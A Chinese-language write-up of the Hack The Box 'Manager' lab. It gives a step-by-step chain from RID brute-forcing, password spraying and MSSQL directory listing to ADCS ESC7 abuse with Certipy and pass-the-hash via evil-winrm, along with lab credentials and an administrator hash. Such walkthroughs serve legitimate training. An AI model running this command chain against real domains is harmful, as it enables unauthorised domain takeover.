ADCS利用之htb-manager通过ESC7获得域管权限

admin 2023年12月15日12:34:39评论21 views字数 4309阅读14分21秒阅读模式

点击上方[蓝字],关注我们

建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。

ADCS利用之htb-manager通过ESC7获得域管权限

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。

文章正文


ADCS利用之htb-manager通过ESC7获得域管权限
img

Keywords: rid bruteforce, mssql directory traversal with xp_dirtree, manageCA, pass the certificate, pass the ticket,ADCS-ESC7

端口扫描

nmap -sV -sC -A -Pn 10.10.11.236
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123135322043

从扫描结果可以看出这是一台域控(dc01.manager.htb),Windows server2019,并且运行着sql server

绑定一下hosts

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124113047880

域控机器的话,这里就不太去考虑web端的渗透了

因为开着445端口,可以先枚举一下域用户,方法很多,例如kerbrute通过kerberos认证返回值不同来枚举,也可以通过crackmapexec爆破rid

crackmapexec smb 10.10.11.236 -u guest -p '' --rid-brute
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123151127641
Administrator
Guest
krbtgt
DC01$
Zhong
Cheng
Ryan
Raven
JinWoo
ChinHae
Operator

有了用户名,然后可以通过密码喷洒,看看能不能得到个账密。很多工具可以实现,这里还是直接用cme了

crackmapexec smb 10.10.11.236 -u user.txt -p pass.txt --no-brute
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123152603705

有了一对账密了(operator/operator),但是我们只有一台域控机器,用这个 用户是执行不了命令的。

不过,这台机器上还运行着mssql,mssql也支持Windows凭据登录,我们试试能不能用这个账密去登录

使用impacket里面的mssqlclient.py去连接:

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123163255002

但是权限不够,执行不了命令:

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123163647792

翻数据库也没啥东西。使用xp_dirtree列了下目录

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123165732725

web目录下有一个备份文件,下过来看看

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123170645355
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123171732182

在这个隐藏文件里看到了一个用户的账密[email protected]/R4v3nBe5tD3veloP3r!123

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123171817140

然后尝试执行命令,smb方式被拒绝了,winrm可以执行

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123173002350
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123173022324

使用evil-winrm[1]搞一个shell回来

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123175035632

拿到user flag

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123175216347

whoami /all发现raven在“Certificate Service DCOM Access”组中,并且这台机器是ca机器

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123180226263

用https://github.com/ly4k/Certipy检测一下有没有洞:

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231123185009204

ESC7是指用户拥有 CA 的“管理 CA”或“管理证书”访问权限,此访问权限可用于启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志来执行 ESC6 攻击,具体怎么利用可以参考

https://github.com/ly4k/Certipy#esc7

https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

下面逐步利用:

1、创建一个officer ,这样才有权限请求、发布和执行证书相关任务

certipy ca -ca 'manager-DC01-CA' -add-officer raven -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124113151026

2、启用证书模板并请求证书:接下来,启用一个特定的证书模板,并请求了一个具有提升权限的证书。通过这样做,我基本上获得了一个授予我额外访问权限的证书,这是特权升级过程中的一个关键步骤。

启用:

certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124113443849

请求证书:此请求将被拒绝,但我们将保存私钥并记录请求ID。

certipy req -username [email protected] -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn [email protected]
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124113550235

3、签发所请求的证书:一旦证书请求被提交,我需要它被批准和签发。

certipy ca -ca 'manager-DC01-CA' -issue-request 25 -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'

服务器会在一分钟内自动重置它的设置,所以让所有命令准备好快速执行是很重要的。

如果到这一步出错了,那就是超时了,需要重新执行一下 1、添加officer的命令

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124132603775
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124140019916

4、检索颁发的证书:证书颁发后,我检索它。这允许“raven”在本地拥有证书并使用它进行身份验证。

certipy req -username [email protected] -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 25
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124140242977

5、用获得的证书进行认证得到域管票据和hash

通过证书传递攻击(PTC) 使用我们刚刚创建的管理员证书,生成一个kerberos tgt票据 和 管理员hash。

certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124144135421

如果报错1:

certipy-ad auth -pfx administrator.pfx -username administrator -domain manager.htb -dc-ip 10.10.11.236
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_BAD_INTEGRITY(Integrity check on decrypted field failed)


需要激活一个Python虚拟环境:

python3 -m venv /home/kali/name
source /home/kali/name/bin/activate



如果报错2:

certipy auth -pfx administrator.pfx  -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[-] Got error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace


为了使其工作,需要与dc时钟同步,以避免时钟偏差太大。这可以用ntpdate完成

sudo ntpdate -u 10.10.11.236

此时,我们可以拥有一个完整的交互式系统shell,或者传递管理员散列,或者传递tgt票证。要传递散列,可以使用psexec或类似的工具。

这里可以直接用evil-winrm

evil-winrm -i 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef
ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124135105181

或者利用票据

ADCS利用之htb-manager通过ESC7获得域管权限
image-20231124164004418

引用链接

[1] evil-winrm: https://github.com/Hackplayers/evil-winrm


技术交流

原文始发于微信公众号(Z2O安全攻防):ADCS利用之htb-manager通过ESC7获得域管权限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日12:34:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ADCS利用之htb-manager通过ESC7获得域管权限https://cn-sec.com/archives/2300951.html

发表评论

匿名网友 填写信息